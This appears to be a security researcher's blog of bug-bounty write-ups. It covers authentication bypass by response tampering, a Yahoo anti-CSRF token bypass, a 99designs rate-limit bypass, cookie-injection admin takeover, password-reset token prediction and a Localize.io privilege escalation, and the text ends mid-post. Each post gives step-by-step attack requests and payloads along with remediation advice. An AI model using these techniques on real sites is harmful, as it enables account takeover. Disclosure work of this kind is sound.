Sunday, 31 August 2014

Privilege Escalation Using Authentication Bypass





A Way to Gain Super Admin & Admin Privileges By Bypassing Authentication





While
researching and working on bug bounties in late Jan 2013, I have found a
way to Bypass Authentication using which we can Takeover all the
users account of the website and can also gain Super Admin and Admin privileges if that site is vulnerable to this type of
attack.





Using

this vulnerability the attacker can bypass the authentication bypass countermeasure and can predict the login validation
& access control processes for any victims account by combinding a simple technique and in
this way he can also Bypass Authentication of
all passwords of all the accounts and can successfully compromise the
victims account as the login validation process is predictable by the
attacker.



I tried various techniques to Bypass the
Login like Arbitrary Methods Usages, Anonymous Methods Usages but all
these techniques failed, also there was a countermeasures that if we to modify the response can then if we send that modified response code as a request to the server then the server is not responding to the modified request and instead of replying it is dropping the modified request, so now the challenge was to bypass this countermeasure and also to understand the Login
Validation Process and to find a weakness in it. So now I am mentioning
how I was able to Bypass this Countermeasure and the Authentication.






Please Note: There was a precondition that an attacker shall now the victims login id or user id and shall lock the victims account.







During the testing we have found an attacker can bypass authentication of Super Admin, Admin & Normal(Read Only privileged ) users by locking the victims account and by modify the response json message.





Steps to Execute the Attack:




1. Go to the application login page and lock the victims account with 3 wrong password attempts.





2. Now Insert the normal(test) users username and with any random value as password.




3. Intercept the login request and forward it now the original response will be intercepted like mentioned below:





Original Response:



HTTP/1.1 200 OK

Server: Apache-Coyote

Content-disposition: attachment

Content-Type: application/json;charset=utf-8

Content-Length: 88

Date: Wed, 16 Jan 2013 10:05:20 GMT



OK[10,0,0,0,0,["site.com","You Account has been Locked, Please contact Administrator."]]







4. Now modify the original response as mentioned below but don't modify the status code 200 OK or any headers and forward the request, now the attacker successfully logs into the Normal Users(victims) account.





Modified Response to Bypass Authentication of Normal User:



HTTP/1.1 200 OK

Server: Apache-Coyote

Content-disposition: attachment

Content-Type: application/json;charset=utf-8

Content-Length: 44

Date: Wed, 16 Jan 2013 10:09:10 GMT



OK[10,0,0,0,0,["site.com,"N","Normal User"]]



Note: "10" denotes normal user and "N" denotes read only privilege.






5. Now to gain Admin user privileges while doing Authentication Bypass, repeat the step 1,2,3 and then modify the original response as mentioned below but don't modify the status code 200 OK or any headers  and forward the request, now the attacker successfully logs into the Admin Users(victims) account.



HTTP/1.1 200 OK

Server: Apache-Coyote

Content-disposition: attachment

Content-Type: application/json;charset=utf-8

Content-Length: 43

Date: Wed, 16 Jan 2013 10:13:07 GMT



OK[20,0,0,0,0,["site.com,"Y","Admin User"]]



Note: "20" denotes admin user and "Y" denotes write privilege.






6. Now to gain Super Admin user privileges while doing Authentication
Bypass, repeat the step 1,2,3 and then modify the original response as
mentioned below but don't modify the status code 200 OK or any headers
and forward the request, now the attacker successfully logs into the
Super Admin Users(victims) account.




HTTP/1.1 200 OK

Server: Apache-Coyote

Content-disposition: attachment

Content-Type: application/json;charset=utf-8

Content-Length: 49

Date: Wed, 16 Jan 2013 10:17:35 GMT



OK[30,0,0,0,0,["site.com,"Y","Super Admin User"]]
























So in this way we can easily Bypass the Authentication an can gain Super Admin & Admin privileges :).







Impact: 




The Login Validation & Access Control Processes are Predictable using which an attacker can easily compromise any users account of the Application and can gain the Super Admin and Admin privileges also the modified(i.e tempered) response dropping countermeasure was bypassable.









Recommendation:




The
Login Validation shall not be dependent on Response Code Values,
Cookies Values and Json Based Status Code values etc combination. Also
the it shall not be dependent on the Client-Side Validation or on modified request dropping based countermeasures instead
proper Server-Side Validation shall be done for the Correct Passwords and there shall be proper access control.





So in this way one can do Privilege Escalation Using Authentication Bypass and can Bypass the authentication of any victims accounts by bypassing the modified request dropping countermeasure and by using the Login Validation & Access Control Processes Prediction. Also this way can be used
to find same type of
vulnerabilities on many different websites.






Suggestions and Feedbacks are welcome.


Monday, 9 June 2014

Upcoming.yahoo.com Anti-CSRF Token Bypass


Upcoming.yahoo.com CSRF Vulnerability




I want to share my another finding on Yahoo which I have reported to them in April 2013.





While
researching and working on bug bounties I have found that we can bypass
Anti-CSRF token validation even when it is getting validated on the
server-side and can execute CSRF. And after that using the CSRF we can
compromise the victims account by change email id of any users account
on that site to the attackers email id an then we can use the
forget password option to reset the victims account password.





The

challenge was to execute the CSRF attack by bypassing the Anti-CSRF
token validation. I have found that the Anti-CSRF Token was getting
validated on the server-side. So, I tried to find the weakness in its
validation by various known ways like I tried to re-use one user
Anti-CSRF Token on another user account, then I tried to use the already
used token then I tried to check whether token is getting
validated on not and after that I tried to check that the token
validation is based on full length check and lastly I tried to check that the token validation is based on partial length check but none of them worked as the
token was getting
validated on server-side. 





Now
only 2 options left 1st option is that I
have to somehow predict or guess the token and 2nd options is that I
have to find the
weakness in the token validation itself so I tried to analyze the token
pattern, randomness, complexity, full length and partial length based validation etc but once again none of them worked :P so
then something striked again why not compare the anti-csrf token of different users accounts so I found that the each users accounts anti-csrf tokens full length was 90 characters thats means it was constant and first 20 Chars of the anti-csrf token were same for each users accounts and the remaining 70 Chars were different for all users accounts.





So
for that I created 5 dummy account for testing purpose on Yahoo Upcoming and
then crafted a CSRF payload as mentioned below which is containing first 20 Chars value(same for 5 dummy test users accounts) and remaining 70 Chars as a random
value, So the Crafted Anti-CSRF token was having a full length of 90 Chars. 





Then I sent the CSRF request with the crafted Anti-CSRF token of 90 Chars(which contains 20 Chars as same for all users accounts and reamining 70 Chars as any random value) and then the request got executed as the Anti-CSRF Token got
validated on server-side and guess what it worked on 1st user I tried it on all users and its worked for all users Bingo :D.





Steps to execute this attack are as following:






1. First copy the actual form submission request.



Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:



<html>

  <body>

    <form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">

      <input type="hidden" name="new_email" value="victimsemailid@gmail.com" />

      <input type="hidden" name="new_email_check" value="victimsemailid@gmail.com" />

      <input type="hidden" name="Csrf_Token" value="Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur" />

      <input type="hidden" name="Submit" value="Change Email" />

      <input type="submit" value="Submit form" />

    </form>

  </body>

</html>



 2.
After that change the same Anti-CSRF
Token parameter Csrf_token values from Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur 
to Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54 were 1st 20 Chars value is constant and reusable for any other users account and remaining 70 Chars are any random value so the tokens full length is 90 Chars and this crafted token value will be used as an Anti-CSRF
Token.



Account
Compromise & Anti CSRF Token Bypass(Modified Form Submission
Request after changing the Anti-CSRF Token Parameter Value
to 20 Chars Constant, Reusable & 70 Chars are Random Value):



<html>

  <body>

    <form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">

      <input type="hidden" name="new_email" value="attackersemailid@gmail.com" />

      <input type="hidden" name="new_email_check" value="attackersemailid@gmail.com" />

      <input type="hidden" name="CSRF_Token" value="Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54" />

      <input type="hidden" name="Submit" value="Change Email" />

      <input type="submit" value="Submit form" />

    </form>

  </body>

</html>



3. Then send this crafted CSRF payload code as a link to the victim.



4.
As the victim executes that CSRF payload containing link the victims
account email id will be changed and the attack will receive an email to
confirm his email after confirming it, the attacker can use the forget
password option to reset the and compromise the victims account.





Rootcause:



Anti-CSRF
Token Parameter Csrf_Token and its values dmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur
validation was based on Partial Length Token(20 Chars Constant & Reusable) Plus Full Length Token(70 Chars Random Value) Based Validation (i.e Anti-CSRF Token 1st 20 Chars
were Constant & Reusable and remaining 70 Chars were random values so the Tokens Full Length 90 Chars & Partial Length of 20 Reusable & Constant Chars were only getting checked or validated on Server-Side). So
we can simply say that the Token which the system(ie app) generated
Token was not reusable for other users account but the user generated(ie
crafted) Token can be used on victims account as valid CSRF token.






Impact:




All Upcoming.yahoo.com users were vulnerable to this CSRF attack using these
vulnerability the Attacker can bypass the Anti-CSRF Token Validation
and can Compromise the victims account.





Recommendation:




Anti-CSRF
Token Csrf_Token and its values
shall never be reusable in the attacker own account and any other users
account.





CSRF token shall be properly validated on server-side instead of only Full & Partial Length Based Validation.





It shall be expired after use and it shall be 1 time useable.





It should be generated randomly on each request.





Instead of Post method PUT method shall be used.






The vulnerability was mitigated by Yahoo Security Team in 1.5 month.




So
in this way, one can bypass Anti-CSRF token validation and can also
compromise the victims account also this technique can be used to find
same type of vulnerability on different websites.



Suggestions and Feedbacks are welcome.

Monday, 19 May 2014

A Way to Bypass Rate Limiting


Another Way to Bypass Rate Limiting




I want to share one of my finding on account.99designs.com which I have reported to them on 5th May 2014.









I have found that site.com

following Url https://account.99designs.com/sso/1.0.0/login?site=contests&locale=en-us&return=https://99designs.com/sso/login&rd=lNFC-iNCgY5Xnzsq6UvI_ykRl__KUS2MzzhB_Alu5LA= was vulnerable to
Bruteforce attacks even when the Rate-Limting is implement for all the site.com users account and the server is disabling the requests.





So
first I tried to do the Status Code Value or Response Code Value, Length Code
Analysis but it was same as 200 for all Right & Wrong Password
attempts as we hit the 60 Wrong Password Attempts also the error message was generic for all Right & Wrong
Password Attempts.





Then
I tried to do the User-Agent based bruteforce attack by changing the
user-agent to known and anonymous user-agent in header of the each
request but it also failed and then after further more Deep Analysis I
found that there was a parameter named browser was sent using post
method in each request with Wrong or Right Password and this parameter
was containing a value which was the currently used browsers name i.e.
internet+explorer. So, that means the server was checking the User-Agent
using header and also using the browser name parameter and its value
internet+explorer.





So

to find weakness in the Rate Limiting countermeasure 1st sent more then
60 Wrong Password requests using  the browser parameter with the value
internet+explorer as the 60 Wrong Password requests sent the the Rate
Limiting got enabled and it started blocking the wrong or right password
request and was sending the response code and length code
as 200 for all Right & Wrong Password
attempts also the error message was generic for all Right & Wrong
Password Attempts so again it failed. 




After
that I started sending each request with the browser named parameter
value which I changed to any known and also any unknown value as browser
name value. So, then I observed that after more then 60 Wrong Password
Attempts and also even after more then 10000 Wrong Passwords Attempts
the Rate Limiting didn't got enabled nor the
Status Code Value or
Response Code Value, Length Code values changed to 200. Instead for
Right Password it was 302 and for Wrong Pass it was 200.



So,
in this way I was able to Bypass the site.com Rate Limting by changing the browser parameter value in each request and by analyzing
the Status Code Value or Response Code Value, Length Code values
differences.



Original Request:



POST
/sso/1.0.0/login?site=contests&locale=en-us&return=https://99designs.com/sso/login&target=http://99designs.com/&rd=lNFC-iNCgY5Xnzsq6UvI_ykRl__KUS2MzzhB_Alu5LA=
HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
__iswl_account99designscom=0;
sp_id..cf43=f48faee182ec56ef.1399262073.1.1399262078.1399262073;
sp_ses..cf43=*; _msuuid_75mlvfed70=937C0A8D-BDBA-40E7-9632-AA2BB97F051F;
__ssid=69a7009e-a365-4481-87e3-60620271c47d;
CookiedSession=P90fAidSF8hdgPCKZkgn2KdK7sAj0imf4TLPMLiyKU=.K-FAwEBC3Nlc3Npb25EYXRhAf-GAAECAQJJZAEMAAEFU3RvcmUB_4gAAAAh_4cEAQERbWFwW3N0cmluZ11zdHJpbmcB_4gAAQwBDAAAKv-GARZhWW1qc2tlbHo5SVM3UWozamtGeE9IAQEGbG9jYWxlBWVuLXVzAA==
Host: account.99designs.com
Content-Length: 202
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

username=victimemailid@gmail.com&password=shssjssjs&browser=Internet+Explorer&browserversion=10.0&screenresolution=1422x889&operatingsystem=Windows&timezoneoffset=420&csrf_token=aYmjskelz9IS7Qj3jkFxOH




Modified Request:



POST
/sso/1.0.0/login?site=contests&locale=en-us&return=https://99designs.com/sso/login&target=http://99designs.com/&rd=lNFC-iNCgY5Xnzsq6UvI_ykRl__KUS2MzzhB_Alu5LA=
HTTP/1.1
Accept: text/html, application/xhtml+xml, /
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
__iswl_account99designscom=0;
sp_id..cf43=f48faee182ec56ef.1399262073.1.1399262078.1399262073;
sp_ses..cf43=*; _msuuid_75mlvfed70=937C0A8D-BDBA-40E7-9632-AA2BB97F051F;
__ssid=69a7009e-a365-4481-87e3-60620271c47d;
CookiedSession=P90fAidSF8hdgPCKZkgn2KdK7sAj0imf4TLPMLiyKU=.K-FAwEBC3Nlc3Npb25EYXRhAf-GAAECAQJJZAEMAAEFU3RvcmUB_4gAAAAh_4cEAQERbWFwW3N0cmluZ11zdHJpbmcB_4gAAQwBDAAAKv-GARZhWW1qc2tlbHo5SVM3UWozamtGeE9IAQEGbG9jYWxlBWVuLXVzAA==
Host: account.99designs.com
Content-Length: 202
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

username=
victimemailid@gmail.com&password=shssjssjs&browser=test+test&browserversion=10.0&screenresolution=1422x889&operatingsystem=Windows&timezoneoffset=420&csrf_token=aYmjskelz9IS7Qj3jkFxOH



In this way the attacker was able to Bypass the Rate Limiting of 99designs.





Impact:





The attacker can
successfully bruteforce the passwords on any users account even when
the rate limiting is enabled and this can lead
to account compromise.








Recommendation:

The Length Code Value for Right & Wrong Passwords shall always be Same for Any Users Account.



Instead of user-agent based validation for enabling the rate limiting user id shall be checked for numbers of wrong password attempts.





The account shall only be unlocked using a email which contains a Un-Lock account link.







The vulnerability was mitigated by 99designs Security Team.



So in this way, one can
Bypass Rate Limiting and can also compromise the victims
account also this technique can be used to find same type of
vulnerabilities on different websites.



Suggestions and Feedback's are welcome.


Wednesday, 7 May 2014

Authentication Bypass & Privilege Escalation Using Header Manipulation & Cookie Injection





A Way to Bypass Authentication & Gain Admin Privilege Using Login Validation Process Prediction





While
researching and working on bug bounties in Feb 2013, I have found a way that Using Header Manipulation & Cookie Injection we can Bypass Authentication and can gain Admin Privilege and using this vulnerability we can Takeover all the
users account of a website if that site is vulnerable to this type of
attack.





Using

this vulnerability the attacker can predict the login validation
process for any admins account by combinding various techniques and in
this way he can also Bypass Authentication of
all passwords of all the Admin accounts and can successfully compromise the Admins account as the login validation process is predictable by the
attacker.



I tried various techniques to Bypass the
Login like Arbitrary Methods Usages, Cookies Manipulation, Status Code Value Modification, Response Code Modification but all
these techniques failed so the challenge was to understand the Login
Validation Process and to find a weakness in it. So now I am mentioning
how I was able to Bypass the Admin Authentication.






Please Note: There was a precondition that an attacker shall know the admins login email id only. This can be done using forget password or even using login Url itself.







Steps to Execute the Attack:


For login validation process analysis I created 2 test accounts.



1.
1st we will send the login request using our own account attackerloginid@testsite.com with a wrong password while intercepting the response for the wrong password using the below
mentioned login link.  



https://testsite.com/user/login



2. Using
which I found that
if the password is wrong then the server response code is 302 Found,
1st Set-Cookie named remember_email value is null and
2nd Set-Cookie named registration_status value is unregistereduser and the
Location
header value is as site login page Url https://testsite.com/user/login.




3. Now we will send the login request using our own account attackerloginid@testsite.com with a right password while intercepting the response for the right password using the below
mentioned login link.  



https://testsite.com/user/login



4. Using
which I found that if the password is right then the server response code is 302 Found,
1st Set-Cookie named remember_email value is attackerloginid@testsite.com and
2nd Set-Cookie named registration_status value is registereduser and the
Location header value is as site Dashborad page Url https://testsite.com/user/accounts/dashboard.



5.
As now we are able to find the variation between the wrong and right
passwords server responses so we know we can Predict the Login
Validation Process for the right password for any victims account and also for the Admin account.



So in simple
words now the attacker will try to login into the victims account using
the login Url and victims user id or login email id which is victimloginid@testsite.com with a wrong password while intercepting the response using any web proxy and he will get the server response code as 302 Found with a 1st Set-Cookie named remember_email with null as value and 2nd Set-Cookie named registration_status with a unregistereduser as value and with the
Location
header value as site Is User login page Url https://testsite.com/user/login.



So now the attacker will add the 1st Set-Cookie named remember_email with a victimloginid@testsite.com as value and 2nd Set-Cookie named registration_status with a registereduser as value and with the
Location
header value as site User Dashboard page Url https://testsite.com/user/accounts/dashboard and forward the request using any web proxy, now the attacker successfully logs into the victims account.



Now to Bypass the Admins login Authentication in same way  the attacker will add the 1st Set-Cookie named remember_email with a adminloginid@testsite.com as value and 2nd Set-Cookie named registration_status with a registeredadmin
as value and with the
Location
header value as site Admin Dashboard page Url https://testsite.com/admin/accounts/dashboard and forward the request
using any web proxy, now the attacker successfully logs into the Admins account and gains the Admin Privilege.



So in this way we can easily Bypass the Admin Authentication as well an Users Athentication :).




Key Points: registration_status cookie value unregistereduser is for a user with wrong password, registereduser id for a user with right password and registeredadmin is for the admin user with right password.


Attacker's Login ID: attackerloginid@testsite.com






Victim's Login ID: victimloginid@testsite.com






Admin's Login ID: adminloginid@testsite.com




Original Server Response Using Attacker's Account with Wrong Password:



HTTP/1.1 302 Found

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Tue, 15 Feb 2013 18:30:09 GMT

Location: https://testsite.com/user/login

Set-Cookie: remember_email=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT

Set-Cookie: registration_status=unregistereduser; path=/; expires=Fri, 10-Dec-2016 18:32:44 GMT

Status: 302 Found

Vary: Accept-Encoding

X-Runtime: 95

Content-Length: 109

Connection: keep-alive



Original Response Using Attacker's Account with Right Password:



HTTP/1.1 302 Found

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Tue, 15 Feb 2013 18:32:22 GMT

Location: https://testsite.com/user/accounts/dashboard

Set-Cookie: remember_email=attackerloginid@testsite.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT

Set-Cookie: registration_status=registereduser; path=/; expires=Fri, 10-Dec-2016 18:32:44 GMT

Status: 302 Found

Vary: Accept-Encoding

X-Runtime: 95

Content-Length: 109

Connection: keep-alive





Modified
Response in which the attacker modified Set-Cookie
& its Value, Status, Location Header and its Value and Sent it as a Request to Bypass Victims Login:




HTTP/1.1 302 Found

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Tue, 15 Feb 2013 18:35:43 GMT

Location: https://testsite.com/user/accounts/dashboard

Set-Cookie: remember_email=victimloginid@testsite.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT

Set-Cookie: registration_status=registereduser; path=/; expires=Fri, 10-Dec-2016 18:32:44 GMT

Status: 302 Found

Vary: Accept-Encoding

X-Runtime: 95

Content-Length: 109

Connection: keep-alive






Modified
Response in which the attacker modified Set-Cookie
& its Value, Status, Location Header and its Value and Sent it as a Request to Bypass Victims Login:




HTTP/1.1 302 Found

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Tue, 15 Feb 2013 18:40:14 GMT

Location: https://testsite.com/admin/accounts/dashboard

Set-Cookie: remember_email=adminloginid@testsite.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT

Set-Cookie: registration_status=registeredadmin; path=/; expires=Fri, 10-Dec-2016 18:32:44 GMT

Status: 302 Found

Vary: Accept-Encoding

X-Runtime: 95

Content-Length: 109

Connection: keep-alive




Impact: 


The Login Validation Process is Predictable using which an attacker can easily compromise Admins account and any other users account of the Application.







Recommendation:  


The
Login Validation shall not be dependent on Cookies Values and Location Header values combination and the Privileges shall not be granted on the basis of cookie values. Also
the it shall not be dependent on the Client-Side Validation instead
proper Server-Side Validation shall be done for the Correct Passwords.





So in this way one can Takeover or Bypass the authentication of Admins account as well as any users victims accounts using the Using Admin Login Validation Process Prediction also this way can be used
to find same type of
vulnerabilities on many different websites.






Suggestions and Feedbacks are welcome.


Tuesday, 6 May 2014

A Way to Bypass Authentication





Authentication Bypass Using Login Validation Process Prediction







While researching and working on bug bounties in late Dec 2012, I have found a way to Bypass Authentication  using which we can Takeover all the
users account of a website if that site is vulnerable to this type of
attack.





Using
this vulnerability the attacker can predict the login validation process for any victims account by combinding various techniques and in this way he can also Bypass Authentication of
all passwords of all the accounts and can successfully compromise the
victims account as the login validation process is predictable by the attacker.



I tried various techniques to Bypass the Login like Response Code Modification, Arbitrary Methods Usages but all these techniques failed so the challenge was to understand the Login Validation Process and to find a weakness in it. So now I am mentioning how I was able to Bypass the Authentication.






Please Note: There was a precondition that an attacker shall now the victims login id or user id only.







Steps to Execute the Attack:




For login validation process analysis I created 2 test accounts.



1.
1st we will send the login request using our own account attackerloginid with a wrong password while intercepting the response for the wrong password using the below
mentioned login link.  



https://testsite.com/login.jsp



2. Using
which I found that
if the password is wrong then the server response code is 200 OK,
Set-Cookie named pstoken value is null which is generated once and the
status code value is json based as following {"failed":false}.




3. Now the we will send the login request using our own account attackerloginid with a right password while intercepting the response for the right password using the below
mentioned login link.  



https://testsite.com/login.jsp



4. Using
which I found that if the password is right then the server response code is 302 Found,
Set-Cookie named pstoken value is attackers user id or login id md5 hash value is 636559678682db9e21c958a4df44eea4 which is generated twice and the status code value is json
based as following {"success":true}.



5.
As now we are able to find the variation between the wrong and right passwords server responses so you now we can Predict the Login Validation Process for the right password.



So in simple words now the attacker will try to login into the victims account using the login Url and victims user id or login id which is victimloginid with a wrong password while intercepting the response using any web proxy and he will get the server response code as 200 OK with a
Set-Cookie named pstoken with a null value which is generated once and with a
status code value in json as following {"failed":false}.



So now the attacker will modify the response code value 200 OK to 302 Found, will add the Set-Cookie twice which is named as pstoken whose value he will change from null to victims user id or login id md5 hash value which is e9fc2abd9060fde1a67e3367b7d64bd0 and after that he will modify the status code value from {"failed":false} to {"success":true} and forward the request using any web proxy, now the attacker successfully logs into the victims account.



So in this way we can easily Bypass the Authentication :).






Attackers Login ID: attackerloginid md5 hash value:



636559678682db9e21c958a4df44eea4
















Victims Login ID: victimloginid md5 hash value:


e9fc2abd9060fde1a67e3367b7d64bd0



Original Server Response Using Attackers Account with Wrong Password:



HTTP/1.1 200 OK

Date: Wed, 7 May 2014 21:17:27 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: pstoken=; expires=Tue, 25-Mar-2014 21:32:27 GMT; path=/

Content-Length: 16

Connection: close

Content-Type: text/html; charset=UTF-8



{"failed":false}





Original Response Using Attackers Account with Right Password:



HTTP/1.1 302 Found

Date: Wed,  7 May 2014 21:17:27 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: pstoken=636559678682db9e21c958a4df44eea4; expires=Tue, 25-Mar-2014 21:32:27 GMT; path=/

Set-Cookie: pstoken=636559678682db9e21c958a4df44eea4; expires=Tue, 25-Mar-2014 21:32:27 GMT; path=/

Content-Length: 16

Connection: close

Content-Type: text/html; charset=UTF-8



{"success":true}



Modified Response in which the attacker modified the Response Code, Set-Cookies & there Values, Status Code Values and Sent it as a Request:



HTTP/1.1 302 Found

Date: Wed, 7 May 2014 21:17:27 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: pstoken=e9fc2abd9060fde1a67e3367b7d64bd0; expires=Tue, 25-Mar-2014 21:32:27 GMT; path=/

Set-Cookie: pstoken=e9fc2abd9060fde1a67e3367b7d64bd0; expires=Tue, 25-Mar-2014 21:32:27 GMT; path=/

Content-Length: 16

Connection: close

Content-Type: text/html; charset=UTF-8



{"success":true}






Impact: 


The Login Validation Process is Predictable using which an attacker can easily compromise any users account of the Application.







Recommendation:  

The Login Validation shall not be dependent on Response Code Values, Cookies Values and Json Based Status Code values etc combination. Also the it shall not be dependent on the Client-Side Validation instead proper Server-Side Validation shall be done for the Correct Passwords.





So in this way one can Takeover or Bypass the authentication of any victims accounts using the Using Login Validation Process Prediction also this way can be used
to find same type of
vulnerabilities on many different websites.






Suggestions and Feedbacks are welcome.


Tuesday, 29 April 2014

Account Takeover Using Password Reset Token Prediction





Password Reset Token Prediction Using Password Reset Functionality







While researching and working on bug bounties I have found another way that by using
Password Reset Functionality, Token & Link we can Takeover all the
users account of a website if that site is vulnerable to this type of
attack.





Using
this vulnerability the attacker can predict the password reset token
for any victims account by sending the password reset request into the
victims account and in this way he can also reset
all passwords of all the accounts and can successfully compromise the
victims account as the password reset link sent to the user includes the
password reset token which is predictable by the attacker.




Please Note:
The password reset request has to been sent 1st on your own email id
and then on the victims email id as if you send it only on your email id
then you can't forcely generate it for the vicitms email id. Also keep
in mind that the whole tokens each values can be incremental or few
values or only one value can be incremental.





Steps to Execute the Attack:


There was a precondition that an attacker shall now the victims email id only :).




1.
1st the attacker sent the password reset request in his own emaild id
attackeremailid@gmail.com after that quickly he sends the password reset
request on the victims email id victimemailid@gmail.com using the below
mentioned password reset request link.  



https://testsite.com/account/resetpassword





2.
Now the attacker will receive as password reset link on his own email
id attackeremailid@gmail.com the link will be as mentioned below.



https://testsite.com/account/resetpassword?code=GH193733-5mq1-0a37-e051-43fefa0aaed6





3.
For token analysis I created 2 test accounts using which I found that
if we send the password reset request 1st on our own email id and after
that if we quickly send the another password reset request on any
victims email id then we can predict the password reset token for any
victims account, as the password reset token values GH193733-5mq1-0a37-e051-43fefa0aaed6 for 9th 10th 11th &12th characters are changing in incremental way for the next users password reset token.





4.
So as the attackers own password reset token is
GH193733-5mq1-0a37-e051-43fefa0aaed6 then he can predict the victims
password reset token also and it will be GH193733-6nr2-0a37-e051-43fefa0aaed6





5. The crafted password reset link to reset and compromise the victims account will be as mentioned below.



Crafted Url to Reset the password of the Victims Email ID(i.e account)victimemailid@gmail.com:

https://testsite.com/account/resetpassword?code=GH193733-6nr2-0a37-e051-43fefa0aaed6




Impact: 


The token generated for the password reset link isn’t random for each password request, allowing an attacker to
predict the token values for a known email address and reset
their password. This provides a trivial route for an attacker to gain
access to accounts or cause a  denial of service to users on the
Application.





Recommendation:  


The
recommended approach is to generate a onetime
token on each password reset request which is linked to the user
account, the token value shall not be preditcable values and it shall
expire once
the password has been reset. Additionally, ensure if the identifier is
not passed that this won’t default to updating all accounts.


Also the Input from the user should be treated as untrusted and re-validated when
sent to the server.





So in this way one can Takeover on any victims accounts using the
Password Reset Functionality, Token & Link also this way can be used
to find same type of
vulnerabilities on many different websites.






Suggestions and Feedbacks are welcome.


Sunday, 27 April 2014

Localize.io Process Validation & Permission Restrictions Bypass



How I was Able to Access any Localize Users Private Project as Admin Without the Project Owners Permission




I want to share one of my finding on Localize.io which I have reported to them on 21st April 2014.





While
researching and working on bug bounties, I have found that by using Insecure Direct Object we can execute the Privelege Escalation vulnerability and we can bypass
Process Validation & Permission Restrictions even when they are properly implemented and also we can access any other users Private Projects as Admin without the Project Owners or Admins Permission.





The

challenge was to execute the Privilege Escalation attack to Access the Private Projects by bypassing Process Validation & Permission Restrictions. I have found that the another users private project Url http://www.localize.io/projects/9n was not accessible without login also the we were not sure wether the project was public or private.



So, I tried to find the weakness in its
Process Validation & Permissions, I found that if the Project is Public then we can access the Url without login and if the Project is Private then we can access the Url using other Users Privilege without able to view anything else of that project and we can send a invitation request to that Private Projects Owner or Admin. Also I found that we can enumerate all the Private Projects by decrementing or by incrementing the 9n to 8n or to 7n or 1a to 1b or bq to br etc in the following Url http://www.localize.io/projects/.





Now
only 1 options left that we can send a invitation request to that Private Projects Owner or Admin to Access the Private Project once that Private Project Owner or Admin Accepts the invitation request. So the whole process was something like this another Normal user send a request to the Private Project Admin and after his Approval we can access it as Contributor user privilege which is a default Privilege.





So
for that I created 2 dummy account for testing purpose on Localize.io and execute the below mentioned steps.



Steps to execute this attack are as following:




1) 1st User has created a Private Project called 9n which is accessible on this Url http://www.localize.io/projects/9n



2) For Private Projects any other 2nd User will not even have the permissions to view the project.



3) So the 2nd user will send the invitation request to the 1st user by accessing the following Url http://www.localize.io/projects/9n the invitation request will be as mentioned below:



Private Project Access Invitation Request (From 2nd User) :



POST / HTTP/1.1

Accept: text/html, application/xhtml+xml, /

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=Mt3tksoplgp9vle1177h2v8v11

Host: www.localize.io

Content-Length: 93

Connection: Keep-Alive

Cache-Control: no-cache

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)



CSRFToken=MTMxNDkzNDUxNjUzNTU1MzYyNGU3NmMwLjAxOTUyMjcz&requestInvitation[repositoryID]=9n





Please Note: The requestInvitation[repositoryID] parameter value will be the Private Projects Value like 9n.







4) Now 2nd user want to access the private project of 1st user which is in http://www.localize.io/projects/9n which is not possible at all. So now the 2nd user will himself send below mentioned request to Accept his own Invitation Request to access the private projects of the 1st user. The Invitation Accept Request will be as mentioned below:



Invitation Accept Request (From 2nd User) :



POST /invitations/9n HTTP/1.1

Accept: text/html, application/xhtml+xml, /

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=Mt3tksoplgp9vle1177h2v8v11

Host: www.localize.io

Content-Length: 132

Connection: Keep-Alive

Cache-Control: no-cache

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)



CSRFToken=MTU2MTY3NTE2NTUzNTU1OGU0ZTYwYWM4LjYxMjc4ODE3&invitations[userID]=3gk&invitations[accept]=1&invitations[role]=4




